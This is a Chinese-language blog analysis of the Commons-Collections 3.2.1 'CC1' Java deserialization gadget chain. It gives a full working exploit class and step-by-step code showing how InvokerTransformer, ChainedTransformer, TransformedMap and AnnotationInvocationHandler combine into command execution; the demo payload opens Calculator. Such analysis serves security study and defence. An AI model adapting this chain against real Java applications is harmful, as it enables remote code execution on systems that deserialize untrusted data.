Commons-Collections-CC1链分析
2025-02-06 10:14:35

调试环境配置

复现环境：jdk1.8.0_65 (/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home)

​ .java源码 (/Users/gehansheng/Desktop/Java代码审计/CC链/CC1/jdk-af660750b2f4

​ https://hg.openjdk.org/ 仓库中下载 JDK源码包

​ Commons-Collections 3.2.1

原安装的 jdk文件夹中的多为 .class反编译后的文件，代码不易阅读和调试，替换为 .java源码文件即可。

src/share/classes 中保存着 Java标准库源码

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同理，使用 maven导入 Commons-Collections依赖的时候，maven添加的也是编译后的 .class文件，手动下载源代码即可：

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完整EXP

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package org.kgty;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class EXP {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value",1);
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class);
        annontationInvocationHandlerConstructor.setAccessible(true);
        Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        serialize(annotationInvocationHandler);
        deserialize();
    }

    public static void serialize(Object object) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectOutputStream.writeObject(object);
    }

    public static void deserialize() throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
        objectInputStream.readObject();
    }
}

EXP构造逻辑

正常使用 Java反射实现RCE逻辑不做赘述

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Runtime runtime = Runtime.getRuntime();
Method execMethod = Runtime.getMethod("exec", String.class);
runtime.invoke(execMethod, "open -a Calcualtor");

(1) Commons-Collections 3.2.1中，存在核心接口 Transformer，是一种对象转换的机制，用于将一个输入对象转换为另一个输出对象。

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(2) InvokerTransformer类实现了 Transform方法，可以通过反射调用输入对象的方法：

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new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"}).transform(runtime);

(3) InvokerTransformer中的 transform方法在 TransformedMap的 checkSetValue方法中被调用：

![image-20250205162426065](/Users/gehansheng/Library/Application Support/typora-user-images/image-20250205162426065.png)

若 valueTransformer的值可控，则可以实现命令执行。

valueTransformer的值在构造函数 TransformedMap中被定义：

image-20250205163016420

但 TransformedMap构造函数的属性为 protected，protected属性修饰的方法只能被当前类/子类调用，所以需要找一个当前类/子类中调用了 TransformedMap构造方法的 public方法。

当前类 public方法 decorate调用了构造方法 TransformedMap：

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由此 valueTransformer可控：

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public class blog {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("a","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
    }
}

(4) 继续向上找 checkSetValue方法在哪里被调用，TransformedMap父类 AbstractInputCheckedMapDecorator中的 MapEntry类中的 setValue方法调用了它：

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使用 for循环遍历 transformedMap中的键值时，调用 setValue方法，进而触发 checkSetValue方法实现命令执行

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public class blog {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("a", "b");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
      	
        for(Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
            entry.setValue(runtime);
        }
    }
}

(5) setValue方法在 AnnotationInvocationHandler.readbject方法中被调用，同样是遍历 Map的场景，这条链子大致就齐了：

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memberValues的值需可控，类 AnnotationInvocationHandler和其构造方法未使用任何访问修饰符进行修饰，只有同一包中的类可以进行访问调用。

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故使用反射进行调用：

type的属性是一种 Class泛型，Annotation是 Java中所有注解类的父类，所以 type需要赋值一种注解类。

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Class c = Class.forName("com.sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvHandlerConstructor.setAccessible(true);
Object annotationInvHandler = annotationInvHandlerConstructor.newInstance(Override.class, transformedMap);

几处需要注意的 gadget

1、Runtime类没有实现 java.io.Serializable接口，不能被序列化和反序列化，需要使用反射来配合 InvokerTransformer构造。

正常反射调用 Runtime.getRuntime().exec()：

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public class Test {
    public static void main(String[] args) throws Exception {
        Class c = Class.forName("java.lang.Runtime");
        Method getRuntimeMethod = c.getMethod("getRuntime", null);
        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(runtime, "open -a Calculator");
    }
}

配合 InvokerTransformer：

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public class Test {
    public static void main(String[] args) throws Exception {
        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(runtime);
    }
}

可以利用类 ChainedTransformer中 transform方法可以递归调用 InvokerTransformer方法：

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Transformer[] transformers = new Transformer[]{
         new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
         new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 
         new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

2、AnnotationInvocationHandler.readObject的执行逻辑到达 memberValue.setValue之前，需要经过两个 if条件：

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断点调试 readObejct的步进逻辑可知，首先使用 annotationType获取注解 Override，接着使用 annotationType.memberTypes获取注解成员，键为注解成员的值，值为注解成员的类型。

最后判断注解成员是否和memberValue的键值相同，相同则不为 null，通过 if判断。

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但 Override.class中无成员，所以更换为 Target.class，并修改 hashMap中传入的键值：

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3、最后需要确保 setValue的值可控，虽然 AnnotationInvocationHandler.readObject中已经确定了 setValue的值，但可以利用 ConstantTransformer类修改。

ConstantTransformer.transform无论输入数据是什么，都返回常量 iConstant，iConstant在构造函数中被赋值，利用 ConstantTransformer和 ChainedTransformer可以控制 setValue值：

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ransformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
          new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

CC1链流程图

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